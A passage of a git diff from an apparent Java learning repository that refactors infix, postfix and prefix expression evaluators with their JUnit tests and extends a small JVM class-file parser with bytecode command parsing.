+			assertOpCodeEquals("10: iload_2", cmds[6]);
+			assertOpCodeEquals("11: putfield #17", cmds[7]);
+			assertOpCodeEquals("14: return", cmds[8]);
+		}
+
+		{
+			Method setNameMethod = this.clzFile.getMethod("setName", "(Ljava/lang/String;)V");
+			ByteCodeCommand [] cmds = setNameMethod.getCmds();
+
+			assertOpCodeEquals("0: aload_0", cmds[0]);
+			assertOpCodeEquals("1: aload_1", cmds[1]);
+			assertOpCodeEquals("2: putfield #15", cmds[2]);
+			assertOpCodeEquals("5: return", cmds[3]);
+
+		}
+
+		{
+			Method sayHelloMethod = this.clzFile.getMethod("sayHello", "()V");
+			ByteCodeCommand [] cmds = sayHelloMethod.getCmds();
+
+			assertOpCodeEquals("0: getstatic #28", cmds[0]);
+			assertOpCodeEquals("3: ldc #34", cmds[1]);
+			assertOpCodeEquals("5: invokevirtual #36", cmds[2]);
+			assertOpCodeEquals("8: return", cmds[3]);
+
+		}
+
+		{
+			Method mainMethod = this.clzFile.getMainMethod();
+
+			ByteCodeCommand [] cmds = mainMethod.getCmds();
+
+			assertOpCodeEquals("0: new #1", cmds[0]);
+			assertOpCodeEquals("3: dup", cmds[1]);
+			assertOpCodeEquals("4: ldc #43", cmds[2]);
+			assertOpCodeEquals("6: bipush 29", cmds[3]);
+			assertOpCodeEquals("8: invokespecial #45", cmds[4]);
+			assertOpCodeEquals("11: astore_1", cmds[5]);
+			assertOpCodeEquals("12: aload_1", cmds[6]);
+			assertOpCodeEquals("13: invokevirtual #47", cmds[7]);
+			assertOpCodeEquals("16: return", cmds[8]);
+		}
+
+	}
+
+	private void assertOpCodeEquals(String expected, ByteCodeCommand cmd){
+
+		String acctual = cmd.getOffset()+": "+cmd.getReadableCodeText();
+
+		if(cmd instanceof OneOperandCmd){
+			if(cmd instanceof BiPushCmd){
+				acctual += " " + ((OneOperandCmd)cmd).getOperand();
+			} else{
+				acctual += " #" + ((OneOperandCmd)cmd).getOperand();
+			}
+		}
+		if(cmd instanceof TwoOperandCmd){
+			acctual += " #" + ((TwoOperandCmd)cmd).getIndex();
+		}
+		Assert.assertEquals(expected, acctual);
+	}
+
+
 
 }
diff --git a/group24/1148285693/learning2017/learning-basic/src/main/java/me/lzb/basic/InfixExpr.java b/group24/1148285693/learning2017/learning-basic/src/main/java/me/lzb/basic/InfixExpr.java
deleted file mode 100644
index e30cc00cc2..0000000000
--- a/group24/1148285693/learning2017/learning-basic/src/main/java/me/lzb/basic/InfixExpr.java
+++ /dev/null
@@ -1,161 +0,0 @@
-package me.lzb.basic;
-
-import java.util.ArrayList;
-import java.util.List;
-import java.util.Stack;
-
-/**
- * Created by LZB on 2017/4/15.
- */
-public class InfixExpr {
-
-
-    private String expr;
-
-    public InfixExpr(String expr) {
-        this.expr = expr;
-    }
-
-    public float evaluate() {
-
-        List<Node> list = processExpr();
-
-        Stack<String> symbolStack = new Stack<>();
-        Stack<Float> numberStack = new Stack<>();
-
-        boolean calLevel2 = false;
-        for (Node n : list) {
-            if (n.isNumber) {
-                numberStack.push(n.number);
-                if (calLevel2) {
-                    calculate(symbolStack, numberStack, false);
-                    calLevel2 = false;
-                }
-            } else {
-                symbolStack.push(n.symbol);
-
-                if (n.isLevel2()) {
-                    calLevel2 = true;
-                }
-            }
-        }
-
-
-        Stack<Float> tn = new Stack<>();
-        int nsize = numberStack.size();
-        for (int i = 0; i < nsize; i++) {
-            tn.push(numberStack.pop());
-        }
-
-        numberStack = tn;
-
-
-        Stack<String> ts = new Stack<>();
-        int ssize = symbolStack.size();
-        for (int i = 0; i < ssize; i++) {
-            ts.push(symbolStack.pop());
-        }
-
-        symbolStack = ts;
-
-
-        while (!symbolStack.isEmpty()) {
-            calculate(symbolStack, numberStack, true);
-        }
-
-
-        return numberStack.pop();
-    }
-
-
-
-    private List<Node> processExpr() {
-        List<Node> list = new ArrayList<>();
-        char[] array = this.expr.toCharArray();
-        String number = "";
-        for (int i = 0; i < array.length; i++) {
-            if (Character.isDigit(array[i])) {
-                number = number + String.valueOf(array[i]);
-            } else {
-                Node num = new Node(Float.valueOf(number), null, true, -1);
-                number = "";
-                int calLevel = "+-".indexOf(array[i]) >= 0 ? 1 : 2;
-                Node sym = new Node(0, String.valueOf(array[i]), false, calLevel);
-                list.add(num);
-                list.add(sym);
-            }
-        }
-
-        Node num = new Node(Float.valueOf(number), null, true, -1);
-        list.add(num);
-        return list;
-    }
-
-
-    private void calculate(Stack<String> symbolStack, Stack<Float> numberStack, boolean isRe) {
-        if (symbolStack.isEmpty()) {
-            return;
-        }
-
-
-        String symbole = symbolStack.pop();
-
-        float right;
-        float left;
-
-        if(isRe){
-            left = numberStack.pop();
-            right = numberStack.pop();
-        }else {
-            right = numberStack.pop();
-            left = numberStack.pop();
-        }
-
-
-
-        float r = calculate(symbole, left, right);
-
-        numberStack.push(r);
-    }
-
-
-    private float calculate(String symbol, float left, float right) {
-        if ("+".equals(symbol)) {
-            return left + right;
-        }
-
-        if ("-".equals(symbol)) {
-            return left - right;
-        }
-
-        if ("*".equals(symbol)) {
-            return left * right;
-        }
-
-        if ("/".equals(symbol)) {
-            return left / right;
-        }
-
-        return 0;
-    }
-
-
-    private class Node {
-        float number;
-        String symbol;
-        boolean isNumber;
-        int calLevel;//加减1，乘除2
-
-        public Node(float number, String symbol, boolean isNumber, int calLevel) {
-            this.number = number;
-            this.symbol = symbol;
-            this.isNumber = isNumber;
-            this.calLevel = calLevel;
-        }
-
-        private boolean isLevel2() {
-            return calLevel == 2;
-        }
-    }
-
-}
diff --git a/group24/1148285693/learning2017/learning-basic/src/main/java/me/lzb/basic/expr/CalUtil.java b/group24/1148285693/learning2017/learning-basic/src/main/java/me/lzb/basic/expr/CalUtil.java
new file mode 100644
index 0000000000..5b52ab0863
--- /dev/null
+++ b/group24/1148285693/learning2017/learning-basic/src/main/java/me/lzb/basic/expr/CalUtil.java
@@ -0,0 +1,108 @@
+package me.lzb.basic.expr;
+
+import me.lzb.common.utils.StringUtils;
+
+import java.util.ArrayList;
+import java.util.List;
+import java.util.Stack;
+
+/**
+ * Created by LZB on 2017/4/20.
+ */
+public class CalUtil {
+
+
+    public static void calculate(Stack<String> symbolStack, Stack<Float> numberStack, boolean isRe) {
+        if (symbolStack.isEmpty()) {
+            return;
+        }
+
+
+        String symbole = symbolStack.pop();
+
+        float right;
+        float left;
+
+        if (isRe) {
+            left = numberStack.pop();
+            right = numberStack.pop();
+        } else {
+            right = numberStack.pop();
+            left = numberStack.pop();
+        }
+
+        float r = calculate(symbole, left, right);
+
+        numberStack.push(r);
+    }
+
+
+    public static float calculate(String symbol, float left, float right) {
+        if ("+".equals(symbol)) {
+            return left + right;
+        }
+
+        if ("-".equals(symbol)) {
+            return left - right;
+        }
+
+        if ("*".equals(symbol)) {
+            return left * right;
+        }
+
+        if ("/".equals(symbol)) {
+            return left / right;
+        }
+
+        return 0;
+    }
+
+
+    public static List<Node> processInfixExpr(String expr) {
+        List<Node> list = new ArrayList<>();
+        char[] array = expr.toCharArray();
+        String number = "";
+        for (int i = 0; i < array.length; i++) {
+            if (Character.isDigit(array[i])) {
+                number = number + String.valueOf(array[i]);
+            } else {
+                if (StringUtils.isNotBlank(number)) {
+                    Node num = new Node(Float.valueOf(number), null, -1);
+                    number = "";
+                    list.add(num);
+                }
+
+                int calLevel = 1;
+
+                if ("*/".indexOf(array[i]) >= 0) {
+                    calLevel = 2;
+                }
+
+                if ("()".indexOf(array[i]) >= 0) {
+                    calLevel = 3;
+                }
+
+                Node sym = new Node(0, String.valueOf(array[i]), calLevel);
+
+                list.add(sym);
+            }
+        }
+        if (StringUtils.isNotBlank(number)) {
+            Node num = new Node(Float.valueOf(number), null, -1);
+            list.add(num);
+        }
+
+        return list;
+    }
+
+
+    public static boolean isLowLevel(Node stackTop, Node next) {
+        return stackTop.calLevel < next.calLevel;
+    }
+
+    public static void main(String[] args) {
+        Node n = new Node(0, "*", 2);
+        Node m = new Node(0, "-", 1);
+        System.out.println(isLowLevel(n, m));
+    }
+}
diff --git a/group24/1148285693/learning2017/learning-basic/src/main/java/me/lzb/basic/expr/InfixExpr.java b/group24/1148285693/learning2017/learning-basic/src/main/java/me/lzb/basic/expr/InfixExpr.java
new file mode 100644
index 0000000000..833ee8cfda
--- /dev/null
+++ b/group24/1148285693/learning2017/learning-basic/src/main/java/me/lzb/basic/expr/InfixExpr.java
@@ -0,0 +1,71 @@
+package me.lzb.basic.expr;
+
+import java.util.List;
+import java.util.Stack;
+
+/**
+ * 中序表达式
+ * Created by LZB on 2017/4/15.
+ */
+public class InfixExpr {
+
+
+    private String expr;
+
+    public InfixExpr(String expr) {
+        this.expr = expr;
+    }
+
+    public float evaluate() {
+
+        List<Node> list = CalUtil.processInfixExpr(expr);
+
+        Stack<String> symbolStack = new Stack<>();
+        Stack<Float> numberStack = new Stack<>();
+
+        boolean calLevel2 = false;
+        for (Node n : list) {
+            if (n.isNumber()) {
+                numberStack.push(n.number);
+                if (calLevel2) {
+                    CalUtil.calculate(symbolStack, numberStack, false);
+                    calLevel2 = false;
+                }
+            } else {
+                symbolStack.push(n.symbol);
+
+                if (n.isLevel2()) {
+                    calLevel2 = true;
+                }
+            }
+        }
+
+
+        Stack<Float> tn = new Stack<>();
+        int nsize = numberStack.size();
+        for (int i = 0; i < nsize; i++) {
+            tn.push(numberStack.pop());
+        }
+
+        numberStack = tn;
+
+
+        Stack<String> ts = new Stack<>();
+        int ssize = symbolStack.size();
+        for (int i = 0; i < ssize; i++) {
+            ts.push(symbolStack.pop());
+        }
+
+        symbolStack = ts;
+
+
+        while (!symbolStack.isEmpty()) {
+            CalUtil.calculate(symbolStack, numberStack, true);
+        }
+
+
+        return numberStack.pop();
+    }
+
+
+}
diff --git a/group24/1148285693/learning2017/learning-basic/src/main/java/me/lzb/basic/expr/InfixToPostfix.java b/group24/1148285693/learning2017/learning-basic/src/main/java/me/lzb/basic/expr/InfixToPostfix.java
new file mode 100644
index 0000000000..d9b1d3e5a6
--- /dev/null
+++ b/group24/1148285693/learning2017/learning-basic/src/main/java/me/lzb/basic/expr/InfixToPostfix.java
@@ -0,0 +1,79 @@
+package me.lzb.basic.expr;
+
+import java.util.List;
+import java.util.Stack;
+
+/**
+ * 中序转后序
+ * Created by LZB on 2017/4/20.
+ */
+public class InfixToPostfix {
+
+    private String infix;
+
+    public InfixToPostfix(String infix) {
+        this.infix = infix;
+    }
+
+
+    public String change() {
+        StringBuffer sb = new StringBuffer();
+        List<Node> list = CalUtil.processInfixExpr(infix);
+        Stack<Node> symbolStack = new Stack<>();
+
+        for (int i = 0; i < list.size(); i++) {
+            Node n = list.get(i);
+            //如果是数字，直接输出
+            if (n.isNumber()) {
+                append(sb, n);
+                continue;
+            }
+
+            //操作符部分
+
+            //操作符栈为空，操作符入栈
+            if (symbolStack.isEmpty()) {
+                symbolStack.push(n);
+                continue;
+            }
+
+            if (")".equals(n.symbol)) {
+                //当前操作符为)，输出操作数栈内的操作符，直到遇到第一个(
+                while (!"(".equals(symbolStack.peek().symbol)) {
+                    append(sb, symbolStack.pop());
+                }
+                //遇到的第一个(, 出栈，完成一个括号
+                symbolStack.pop();
+            } else {
+
+                //计算用，操作符
+                //栈顶元素优先级更低，操作符入栈
+                if (CalUtil.isLowLevel(symbolStack.peek(), n) || symbolStack.peek().isLevel3()) {
+                    symbolStack.push(n);
+                } else {
+                    //栈顶元素优先级高于等于当前操作符，输出操作符，直到遇到(，或者遇到优先级更低的操作符
+                    while (!symbolStack.isEmpty() && !symbolStack.peek().isLevel3() && !CalUtil.isLowLevel(symbolStack.peek(), n)) {
+                        append(sb, symbolStack.pop());
+                    }
+                    //当前操作符入栈
+                    symbolStack.push(n);
+                }
+            }
+        }
+
+
+        while (!symbolStack.isEmpty()) {
+            append(sb, symbolStack.pop());
+        }
+
+        return sb.toString().trim();
+    }
+
+
+    private void append(StringBuffer sb, Node node) {
+        sb.append(" ");
+        sb.append(node.isNumber() ? (int) node.number : node.symbol);
+    }
+
+
+}
diff --git a/group24/1148285693/learning2017/learning-basic/src/main/java/me/lzb/basic/expr/Node.java b/group24/1148285693/learning2017/learning-basic/src/main/java/me/lzb/basic/expr/Node.java
new file mode 100644
index 0000000000..1c698f1101
--- /dev/null
+++ b/group24/1148285693/learning2017/learning-basic/src/main/java/me/lzb/basic/expr/Node.java
@@ -0,0 +1,28 @@
+package me.lzb.basic.expr;
+
+/**
+ * Created by LZB on 2017/4/20.
+ */
+public class Node {
+    float number;
+    String symbol;
+    int calLevel;//加减1，乘除2, ()3, 数字-1
+
+    public Node(float number, String symbol, int calLevel) {
+        this.number = number;
+        this.symbol = symbol;
+        this.calLevel = calLevel;
+    }
+
+    public boolean isLevel2() {
+        return calLevel == 2;
+    }
+
+    public boolean isLevel3() {
+        return calLevel == 3;
+    }
+
+    public boolean isNumber(){
+        return calLevel == -1;
+    }
+}
diff --git a/group24/1148285693/learning2017/learning-basic/src/main/java/me/lzb/basic/expr/PostfixExpr.java b/group24/1148285693/learning2017/learning-basic/src/main/java/me/lzb/basic/expr/PostfixExpr.java
new file mode 100644
index 0000000000..22a0db2ee0
--- /dev/null
+++ b/group24/1148285693/learning2017/learning-basic/src/main/java/me/lzb/basic/expr/PostfixExpr.java
@@ -0,0 +1,46 @@
+package me.lzb.basic.expr;
+
+import me.lzb.common.utils.StringUtils;
+
+import java.util.Stack;
+
+/**
+ * 后缀表达式
+ * Created by LZB on 2017/4/20.
+ */
+public class PostfixExpr {
+
+    private String expr;
+
+    public PostfixExpr(String expr) {
+        this.expr = expr;
+    }
+
+    public float evaluate() {
+
+        Stack<String> symbolStack = new Stack<>();
+        Stack<Float> numberStack = new Stack<>();
+
+        char[] array = this.expr.toCharArray();
+        String number = "";
+        for (int i = 0; i < array.length; i++) {
+            if (Character.isDigit(array[i])) {
+                number = number + String.valueOf(array[i]);
+            } else {
+                if (StringUtils.isNotBlank(number)) {
+                    numberStack.push(Float.valueOf(number));
+                    number = "";
+                }
+                if (Character.isSpaceChar(array[i])) {
+
+
+                } else {
+                    symbolStack.push(String.valueOf(array[i]));
+                    CalUtil.calculate(symbolStack, numberStack, false);
+                }
+            }
+        }
+        return numberStack.pop();
+    }
+
+}
diff --git a/group24/1148285693/learning2017/learning-basic/src/main/java/me/lzb/basic/expr/PrefixExpr.java b/group24/1148285693/learning2017/learning-basic/src/main/java/me/lzb/basic/expr/PrefixExpr.java
new file mode 100644
index 0000000000..27b7b2f52d
--- /dev/null
+++ b/group24/1148285693/learning2017/learning-basic/src/main/java/me/lzb/basic/expr/PrefixExpr.java
@@ -0,0 +1,46 @@
+package me.lzb.basic.expr;
+
+import me.lzb.common.utils.StringUtils;
+
+import java.util.Stack;
+
+/**
+ * 前缀表达式
+ * Created by LZB on 2017/4/20.
+ */
+public class PrefixExpr {
+
+    private String expr;
+
+    public PrefixExpr(String expr) {
+        this.expr = expr;
+    }
+
+    public float evaluate() {
+
+        Stack<String> symbolStack = new Stack<>();
+        Stack<Float> numberStack = new Stack<>();
+
+        char[] array = this.expr.toCharArray();
+        String number = "";
+        for (int i = array.length - 1; i >= 0; i--) {
+            if (Character.isDigit(array[i])) {
+                number = number + String.valueOf(array[i]);
+            } else {
+                if (StringUtils.isNotBlank(number)) {
+                    numberStack.push(Float.valueOf(number));
+                    number = "";
+                }
+                if (Character.isSpaceChar(array[i])) {
+
+
+                } else {
+                    symbolStack.push(String.valueOf(array[i]));
+                    CalUtil.calculate(symbolStack, numberStack, true);
+                }
+            }
+        }
+        return numberStack.pop();
+    }
+
+}
diff --git a/group24/1148285693/learning2017/learning-basic/src/test/java/me/lzb/basic/InfixExprTest.java b/group24/1148285693/learning2017/learning-basic/src/test/java/me/lzb/basic/expr/InfixExprTest.java
similarity index 97%
rename from group24/1148285693/learning2017/learning-basic/src/test/java/me/lzb/basic/InfixExprTest.java
rename to group24/1148285693/learning2017/learning-basic/src/test/java/me/lzb/basic/expr/InfixExprTest.java
index 5ca7621354..913f6ad2ee 100644
--- a/group24/1148285693/learning2017/learning-basic/src/test/java/me/lzb/basic/InfixExprTest.java
+++ b/group24/1148285693/learning2017/learning-basic/src/test/java/me/lzb/basic/expr/InfixExprTest.java
@@ -1,4 +1,4 @@
-package me.lzb.basic;
+package me.lzb.basic.expr;
 
 import org.junit.After;
 import org.junit.Assert;
diff --git a/group24/1148285693/learning2017/learning-basic/src/test/java/me/lzb/basic/expr/InfixToPostfixTest.java b/group24/1148285693/learning2017/learning-basic/src/test/java/me/lzb/basic/expr/InfixToPostfixTest.java
new file mode 100644
index 0000000000..de92921b42
--- /dev/null
+++ b/group24/1148285693/learning2017/learning-basic/src/test/java/me/lzb/basic/expr/InfixToPostfixTest.java
@@ -0,0 +1,42 @@
+package me.lzb.basic.expr;
+
+import org.junit.After;
+import org.junit.Assert;
+import org.junit.Before;
+import org.junit.Test;
+
+/**
+ * Created by LZB on 2017/4/20.
+ */
+public class InfixToPostfixTest {
+
+    @Before
+    public void setUp() throws Exception {
+    }
+
+    @After
+    public void tearDown() throws Exception {
+    }
+
+    @Test
+    public void testChange() {
+        {
+            InfixToPostfix toPostfix = new InfixToPostfix("((2+3)*8+5+3)*6");
+            Assert.assertEquals("2 3 + 8 * 5 + 3 + 6 *", toPostfix.change());
+        }
+
+        {
+            InfixToPostfix toPostfix = new InfixToPostfix("6*(5+(2+3)*8+3)");
+            Assert.assertEquals("6 5 2 3 + 8 * + 3 + *", toPostfix.change());
+        }
+        {
+            InfixToPostfix toPostfix = new InfixToPostfix("9+(3-1)*3+10/2");
+            Assert.assertEquals("9 3 1 - 3 * + 10 2 / +", toPostfix.change());
+        }
+
+        {
+            InfixToPostfix toPostfix = new InfixToPostfix("10-2*3+50");
+            Assert.assertEquals("10 2 3 * - 50 +", toPostfix.change());
+        }
+    }
+}
diff --git a/group24/1148285693/learning2017/learning-basic/src/test/java/me/lzb/basic/expr/PostfixExprTest.java b/group24/1148285693/learning2017/learning-basic/src/test/java/me/lzb/basic/expr/PostfixExprTest.java
new file mode 100644
index 0000000000..4a1239bcf6
--- /dev/null
+++ b/group24/1148285693/learning2017/learning-basic/src/test/java/me/lzb/basic/expr/PostfixExprTest.java
@@ -0,0 +1,43 @@
+package me.lzb.basic.expr;
+
+
+
+import org.junit.After;
+import org.junit.Assert;
+import org.junit.Before;
+import org.junit.Test;
+
+
+/**
+ * 后缀表达式
+ */
+public class PostfixExprTest {
+
+	@Before
+	public void setUp() throws Exception {
+	}
+
+	@After
+	public void tearDown() throws Exception {
+	}
+
+	@Test
+	public void testEvaluate() {
+		{
+			PostfixExpr expr = new PostfixExpr("6 5 2 3 + 8 * + 3 + *");
+			Assert.assertEquals(288, expr.evaluate(),0.0f);
+		}
+		{
+			//9+(3-1)*3+10/2
+			PostfixExpr expr = new PostfixExpr("9 3 1 - 3 * + 10 2 / +");
+			Assert.assertEquals(20, expr.evaluate(),0.0f);
+		}
+
+		{
+			//10-2*3+50
+			PostfixExpr expr = new PostfixExpr("10 2 3 * - 50 +");
+			Assert.assertEquals(54, expr.evaluate(),0.0f);
+		}
+	}
+
+}
diff --git a/group24/1148285693/learning2017/learning-basic/src/test/java/me/lzb/basic/expr/PrefixExprTest.java b/group24/1148285693/learning2017/learning-basic/src/test/java/me/lzb/basic/expr/PrefixExprTest.java
new file mode 100644
index 0000000000..11691cda54
--- /dev/null
+++ b/group24/1148285693/learning2017/learning-basic/src/test/java/me/lzb/basic/expr/PrefixExprTest.java
@@ -0,0 +1,47 @@
+package me.lzb.basic.expr;
+
+import org.junit.After;
+import org.junit.Assert;
+import org.junit.Before;
+import org.junit.Test;
+
+/**
+ * 前缀表达式
+ */
+public class PrefixExprTest {
+
+	@Before
+	public void setUp() throws Exception {
+	}
+
+	@After
+	public void tearDown() throws Exception {
+	}
+
+	@Test
+	public void testEvaluate() {
+		{
+			// 2*3+4*5
+			PrefixExpr expr = new PrefixExpr("+ * 2 3* 4 5");
+			Assert.assertEquals(26, expr.evaluate(),0.001f);
+		}
+		{
+			// 4*2 + 6+9*2/3 -8
+			PrefixExpr expr = new PrefixExpr("-++6/*2 9 3 * 4 2 8");
+			Assert.assertEquals(12, expr.evaluate(),0.001f);
+		}
+		{
+			//(3+4)*5-6
+			PrefixExpr expr = new PrefixExpr("- * + 3 4 5 6");
+			Assert.assertEquals(29, expr.evaluate(),0.001f);
+		}
+		{
+			//1+((2+3)*4)-5
+			PrefixExpr expr = new PrefixExpr("- + 1 * + 2 3 4 5");
+			Assert.assertEquals(16, expr.evaluate(),0.001f);
+		}
+
+
+	}
+
+}
diff --git a/group24/1148285693/learning2017/mini-jvm/src/main/java/me/lzb/jvm/attr/CodeAttr.java b/group24/1148285693/learning2017/mini-jvm/src/main/java/me/lzb/jvm/attr/CodeAttr.java
index 2addebeb39..f2f30f004f 100644
--- a/group24/1148285693/learning2017/mini-jvm/src/main/java/me/lzb/jvm/attr/CodeAttr.java
+++ b/group24/1148285693/learning2017/mini-jvm/src/main/java/me/lzb/jvm/attr/CodeAttr.java
@@ -1,5 +1,7 @@
 package me.lzb.jvm.attr;
 
+import me.lzb.jvm.cmd.ByteCodeCommand;
+
 /**
  * Created by LZB on 2017/4/15.
  */
@@ -12,13 +14,20 @@ public class CodeAttr extends AttributeInfo {
     private LocalVariableTable localVarTable;
     private StackMapTable stackMapTable;
 
-    public CodeAttr(int attrNameIndex, int attrLen, int maxStack, int maxLocals, int codeLen, String code /*ByteCodeCommand[] cmds*/) {
+
+    private ByteCodeCommand[] cmds;
+
+    public ByteCodeCommand[] getCmds() {
+        return cmds;
+    }
+
+    public CodeAttr(int attrNameIndex, int attrLen, int maxStack, int maxLocals, int codeLen, String code, ByteCodeCommand[] cmds) {
         super(attrNameIndex, attrLen);
         this.maxStack = maxStack;
         this.maxLocals = maxLocals;
         this.codeLen = codeLen;
         this.code = code;
-        //this.cmds = cmds;
+        this.cmds = cmds;
     }
 
 
diff --git a/group24/1148285693/learning2017/mini-jvm/src/main/java/me/lzb/jvm/clz/AccessFlag.java b/group24/1148285693/learning2017/mini-jvm/src/main/java/me/lzb/jvm/clz/AccessFlag.java
index 224714a010..cfb4f067e8 100644
--- a/group24/1148285693/learning2017/mini-jvm/src/main/java/me/lzb/jvm/clz/AccessFlag.java
+++ b/group24/1148285693/learning2017/mini-jvm/src/main/java/me/lzb/jvm/clz/AccessFlag.java
@@ -18,12 +18,20 @@ public void setFlagValue(int flag) {
         this.flagValue = flag;
     }
 
-    public boolean isPublicClass(){
+    public boolean isPublicClass() {
         return (this.flagValue & 0x0001) != 0;
     }
-    public boolean isFinalClass(){
+
+    public boolean isFinalClass() {
         return (this.flagValue & 0x0010) != 0;
     }
 
+    public String getFlagString(){
+        if (isPublicClass()){
+            return "public";
+        }else {
+            return "not public";
+        }
+    }
 
 }
diff --git a/group24/1148285693/learning2017/mini-jvm/src/main/java/me/lzb/jvm/clz/ClassFile.java b/group24/1148285693/learning2017/mini-jvm/src/main/java/me/lzb/jvm/clz/ClassFile.java
index c5de9be5ce..5fd864b8a8 100644
--- a/group24/1148285693/learning2017/mini-jvm/src/main/java/me/lzb/jvm/clz/ClassFile.java
+++ b/group24/1148285693/learning2017/mini-jvm/src/main/java/me/lzb/jvm/clz/ClassFile.java
@@ -1,8 +1,11 @@
 package me.lzb.jvm.clz;
 
+import me.lzb.jvm.constant.ClassInfo;
 import me.lzb.jvm.constant.ConstantPool;
 import me.lzb.jvm.field.Field;
 import me.lzb.jvm.method.Method;
+import me.lzb.jvm.print.Print;
+import me.lzb.jvm.print.PrintVisitor;
 
 import java.util.ArrayList;
 import java.util.List;
@@ -10,7 +13,7 @@
 /**
  * Created by LZB on 2017/4/14.
  */
-public class ClassFile {
+public class ClassFile implements Print{
 
     private String magicNumber;
 
@@ -72,7 +75,6 @@ public void setConstantPool(ConstantPool constantPool) {
     }
 
 
-
     public List<Field> getFields() {
         return fields;
     }
@@ -90,9 +92,6 @@ public void setMethods(List<Method> methods) {
     }
 
 
-
-
-
     public ClassIndex getClzIndex() {
         return clzIndex;
     }
@@ -102,30 +101,62 @@ public void setClzIndex(ClassIndex clzIndex) {
     }
 
 
-    public void print(){
+    public void print() {
 
-        if(this.accessFlag.isPublicClass()){
-            System.out.println("Access flag : public  ");
-        }
-//        System.out.println("Class Name:"+ getClassName());
+//        if (this.accessFlag.isPublicClass()) {
+//            System.out.println("Access flag : public  ");
+//        }
+//        System.out.println("Class Name:" + getClassName());
 //
-//        System.out.println("Super Class Name:"+ getSuperClassName());
+//        System.out.println("Super Class Name:" + getSuperClassName());
 
     }
 
+    public String getClassName() {
+        int thisClassIndex = this.clzIndex.getThisClassIndex();
+        ClassInfo thisClass = (ClassInfo) this.getConstantPool().getConstantInfo(thisClassIndex);
+        return thisClass.getClassName();
+    }
 
-
+    public String getSuperClassName() {
+        ClassInfo superClass = (ClassInfo) this.getConstantPool().getConstantInfo(this.clzIndex.getSuperClassIndex());
+        return superClass.getClassName();
+    }
 
     public int getConstantPoolCount() {
         return constantPool.getSize();
     }
 
-    public void addField(Field f){
+    public void addField(Field f) {
         this.fields.add(f);
     }
 
-    public void addMethod(Method m){
+    public void addMethod(Method m) {
         this.methods.add(m);
     }
 
+    public Method getMethod(String methodName, String paramAndReturnType) {
+        for (Method m : methods) {
+            int nameIndex = m.getNameIndex();
+            int descIndex = m.getDescriptorIndex();
+
+            String name = this.getConstantPool().getUTF8String(nameIndex);
+            String desc = this.getConstantPool().getUTF8String(descIndex);
+
+            if (name.equals(methodName) && desc.equals(paramAndReturnType)) {
+                return m;
+            }
+        }
+
+        return null;
+    }
+
+    public Method getMainMethod() {
+        return getMethod("main", "([Ljava/lang/String;)V");
+    }
+
+    @Override
+    public void print(PrintVisitor visitor) {
+        visitor.visitBasicMsg(this);
+    }
 }
diff --git a/group24/1148285693/learning2017/mini-jvm/src/main/java/me/lzb/jvm/cmd/BiPushCmd.java b/group24/1148285693/learning2017/mini-jvm/src/main/java/me/lzb/jvm/cmd/BiPushCmd.java
new file mode 100644
index 0000000000..83eec1cbc7
--- /dev/null
+++ b/group24/1148285693/learning2017/mini-jvm/src/main/java/me/lzb/jvm/cmd/BiPushCmd.java
@@ -0,0 +1,21 @@
+package me.lzb.jvm.cmd;
+
+
+import me.lzb.jvm.clz.ClassFile;
+import me.lzb.jvm.constant.ConstantPool;
+
+public class BiPushCmd extends OneOperandCmd {
+
+    public BiPushCmd(ClassFile clzFile, String opCode) {
+        super(clzFile, opCode);
+
+    }
+
+    @Override
+    public String toString(ConstantPool pool) {
+
+        return this.getOffset() + ": " + this.getOpCode() + " " + this.getReadableCodeText() + " " + this.getOperand();
+    }
+
+
+}
diff --git a/group24/1148285693/learning2017/mini-jvm/src/main/java/me/lzb/jvm/cmd/ByteCodeCommand.java b/group24/1148285693/learning2017/mini-jvm/src/main/java/me/lzb/jvm/cmd/ByteCodeCommand.java
new file mode 100644
index 0000000000..07e35cb0ce
--- /dev/null
+++ b/group24/1148285693/learning2017/mini-jvm/src/main/java/me/lzb/jvm/cmd/ByteCodeCommand.java
@@ -0,0 +1,124 @@
+package me.lzb.jvm.cmd;
+
+import me.lzb.jvm.clz.ClassFile;
+import me.lzb.jvm.constant.ConstantInfo;
+import me.lzb.jvm.constant.ConstantPool;
+
+import java.util.HashMap;
+import java.util.Map;
+
+
+public abstract class ByteCodeCommand {
+
+    String opCode;
+    ClassFile clzFile;
+    private int offset;
+
+    private static Map<String, String> codeMap = new HashMap<String, String>();
+
+    static {
+        codeMap.put("01", "aconst_null");
+
+        codeMap.put("BB", "new");
+        codeMap.put("37", "lstore");
+        codeMap.put("B7", "invokespecial");
+        codeMap.put("B6", "invokevirtual");
+        codeMap.put("B4", "getfield");
+        codeMap.put("B5", "putfield");
+        codeMap.put("B2", "getstatic");
+
+        codeMap.put("2A", "aload_0");
+        codeMap.put("2B", "aload_1");
+        codeMap.put("2C", "aload_2");
+
+        codeMap.put("10", "bipush");
+        codeMap.put("15", "iload");
+        codeMap.put("1A", "iload_0");
+        codeMap.put("1B", "iload_1");
+        codeMap.put("1C", "iload_2");
+        codeMap.put("1D", "iload_3");
+
+        codeMap.put("25", "fload_3");
+
+        codeMap.put("1E", "lload_0");
+
+        codeMap.put("24", "fload_2");
+        codeMap.put("4C", "astore_1");
+
+        codeMap.put("A2", "if_icmp_ge");
+        codeMap.put("A4", "if_icmple");
+
+        codeMap.put("A7", "goto");
+
+        codeMap.put("B1", "return");
+        codeMap.put("AC", "ireturn");
+        codeMap.put("AE", "freturn");
+
+        codeMap.put("03", "iconst_0");
+        codeMap.put("04", "iconst_1");
+
+        codeMap.put("3C", "istore_1");
+        codeMap.put("3D", "istore_2");
+
+        codeMap.put("59", "dup");
+
+        codeMap.put("60", "iadd");
+        codeMap.put("84", "iinc");
+
+        codeMap.put("12", "ldc");
+    }
+
+
+    protected ByteCodeCommand(ClassFile clzFile, String opCode) {
+        this.clzFile = clzFile;
+        this.opCode = opCode;
+    }
+
+    protected ClassFile getClassFile() {
+        return clzFile;
+    }
+
+    public int getOffset() {
+        return offset;
+    }
+
+    public void setOffset(int offset) {
+        this.offset = offset;
+    }
+
+    protected ConstantInfo getConstantInfo(int index) {
+        return this.getClassFile().getConstantPool().getConstantInfo(index);
+    }
+
+    protected ConstantPool getConstantPool() {
+        return this.getClassFile().getConstantPool();
+    }
+
+
+    public String getOpCode() {
+        return opCode;
+    }
+
+    public abstract int getLength();
+
+
+    public String toString() {
+
+        StringBuffer buffer = new StringBuffer();
+        buffer.append(this.opCode);
+
+        return buffer.toString();
+    }
+
+    public abstract String toString(ConstantPool pool);
+
+    public String getReadableCodeText() {
+        String txt = codeMap.get(opCode);
+        if (txt == null) {
+            return opCode;
+        }
+        return txt;
+    }
+
